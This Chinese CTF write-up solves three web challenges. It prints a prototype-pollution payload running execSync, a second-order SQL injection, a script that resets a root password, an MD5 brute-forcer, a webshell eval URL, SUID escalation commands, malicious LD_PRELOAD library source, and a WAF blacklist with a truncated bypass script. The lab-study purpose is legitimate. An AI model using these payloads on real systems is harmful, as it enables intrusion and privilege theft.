- vote
- 考点
- wp
- Penetratable
- 考点:
- wp
- MultistaeAgency
- 考点
- wp
- 参考文献
AST配合Pug模板引擎实现注入 https://blog.p6.is/AST-Injection/
wp主要代码,需要满足if语句
,从而可以执行compile
语句
payload
{
"__proto__.hero":{
"name":"奇亚纳"
},
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
}
}
因为环境不出网,所以就只能写入本地后,再访问
- 找前端js文件获取一些信息系
- 注册和登录界面二次sql注入
- 跑脚本找md5对应的值
- 提权
看到界面,只有登录和注册界面,首先dirsearch扫一波
好像只能获得前端的一些js代码
看到req.js
function login(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
let pass=hex_md5($(".form-floating>input").eq(1).val())
$.ajax({
url: '/?c=app&m=login',
type: 'post',
data: 'name=' + name+'&pass=' + pass,
// async:true,
dataType: 'text',
success: function(data){
let res=$.parseJSON(data);
if (res['login']){
switch (res['type']){
case 'user': location.href="/?c=user"; break;
case 'admin': location.href="/?c=admin"; break;
case 'root': location.href="/?c=root"; break;
}
}else if(res['alertFlag']){
alert(res['alertData']);
}
}
});
}
function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function signOut(){
$.ajax({
url: '/?c=app&m=signOut',
type: 'get',
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function alertHandle(data){
let res=$.parseJSON(data);
if(res['alertFlag']){
alert(res['alertData']);
}
if(res['location']){
location.href=res['location'];
}
}
function changeAdminPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
}
}
function changeRootPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
}
}
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
function adminHome(){
location.href='/?c=root'
}
function getUserInfo(){
location.href='/?c=root&m=getUserInfo'
}
function getLogList(){
location.href='/?c=root&m=getLogList'
}
function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}
function register(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
let pass=hex_md5($(".form-floating>input").eq(3).val())
let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
$.ajax({
url: '/?c=app&m=register',
type: 'post',
data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
dataType: 'text',
success: function(data){
// console.log(data);
alertHandle(data);
}
});
}
有一些路由,应该有一些利用点,有root,admin和user
我们注册一个user
账户,登录进去,可以修改密码
我看网上有些wp是直接通过这个改密码,改数据包可以修改admin的密码
但是我试了半天都不行
试一下二次注入
先注册admin'#
,登录,修改密码,admin登录不成功
可能是闭合符号不同,利用admin"#
,成功修改
利用这个方法改变root,发现不行,没有权限,而且admin界面还没法修改密码。
回看js代码,发现有段代码注释点,这个就有点不太一样了。
发现是个改变密码的页面
尝试通过admin来修改root的密码
import requests
import base64
from hashlib import md5
url = 'http://ip地址/'
url1 = url + '?c=app&m=login'
url2 = url + '?c=admin&m=updatePass'
user1 = base64.b64encode(b'admin').decode()
user2 = base64.b64encode(b'root')
pass1 = md5(b'111').hexdigest()#需要修改自己的admin密码
pass2 = md5(b'root').hexdigest()
sess = requests.Session()
data = {
# admin/111
"name": user1, # admin
"pass": pass1 # 111
}
r = sess.post(url1, data=data)
print(r.text)
data = {
"name": user2, # root
"newPass": pass2, # root
"oldPass": pass1, # 111
"saying": user2
}
r = sess.post(url2, data=data)
print(r.text)
返回这个,成功修改
{"login":true,"type":"admin"} {"alertData":"\u4fee\u6539\u6210\u529f","location":"\/?c=admin","alertFlag":1}
登录root,发现有个下载的界面
抓包,尝试读取文件内容,存在目录穿越的漏洞
这个哈希只有爆破了
这个字符串只能一个个试,跑得有点久
from hashlib import md5
md="3fde6bb0541387e4ebdadf7c2ff31123"
str="123456789zxcvbnmasdfghjklqwertyuiop"
flag=""
for i in str:
for j in str:
for k in str:
for m in str:
for n in str:
for a in str:
flag=i+j+k+m+n+a
if md5(flag.encode()).hexdigest()==md:
print(flag)
break
得到1q2w3e
直接上蚁剑
http://1.14.71.254:28144/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);
虚拟终端没有权限,只能提取了
利用SUID
提权
# 搜索 SUID file 可执行文件
find / -type f -perm /4000 2>/dev/null
# 利用 sed 命令查看 flag
/bin/sed '1p' /flag
- GO语言上传文件和写入环境变量配合,利用恶意so文件来rce
- 利用curl来读取内网的服务器接口
- 然后
点号,星号,问号和字母
给了附件,下载附件
Dockerfile
FROM golang:latest
RUN mkdir -p /code/logs
COPY . /code
WORKDIR /code
RUN go build -o bin/web web/main.go && \
go build -o bin/proxy proxy/main.go && \
go build -o bin/server server/main.go
RUN chmod -R 777 /code
RUN useradd web
ADD flag /flag
RUN chmod 400 /flag
ENTRYPOINT "/code/start.sh"
start.sh
echo `cat /proc/sys/kernel/random/uuid | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"
/code/bin/server 2>&1 >/code/logs/server.log &
tail -f /code/logs/*
可以知道有三个服务,web,server,proxy
其中web和proxy是web权限,server是root权限登录
flag是400权限,需要root权限
审web的main.go
三个路由接口/token
和/upload
和list
token是用来获取token和设置环境变量
upload是将上传的文件到当前token
所对应的目录下面,然后请求server服务的/manage
接口
/list
接口就是列出这个目录下的文件名
我们看server的manage接口
其中m的值是可控的,然后格式化字符串后,就执行bash的命令。加上flag需要root权限读(文件所有者是root,用户组是普通用户),所有我们的目的还是需要执行server的exec
命令
对于GET传参可控的话,直接拿分号
分割命令然后读flag即可。
在前面token路由可以设置环境变量,加上可以上传文件。
我们可以上传一个so
文件的动态链接库,然后LD_PRELOAD
来加载一个上传的恶意so文件,就可以达到一个命令执行。
root@VM-0-6-ubuntu:~# vim evil.c
#include
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("cmd"));
}
root@VM-0-6-ubuntu:~# gcc -shared -fPIC -o evil.so evil.c
因为上传的文件路径是在token下的,所有要找到这个token。
proxy服务器的端口8080
利用http_proxy,说明需要通过8080端口的proxy来访问
然后就开始rce
然后读flag不成功,原因上面说过了。
接下来,就是需要直接拿shell进行访问(curl)内网的server服务的/manage
manage有个waf
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}
return true
}
需要绕过点号,星号和问号和字母
利用师傅的脚本
from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?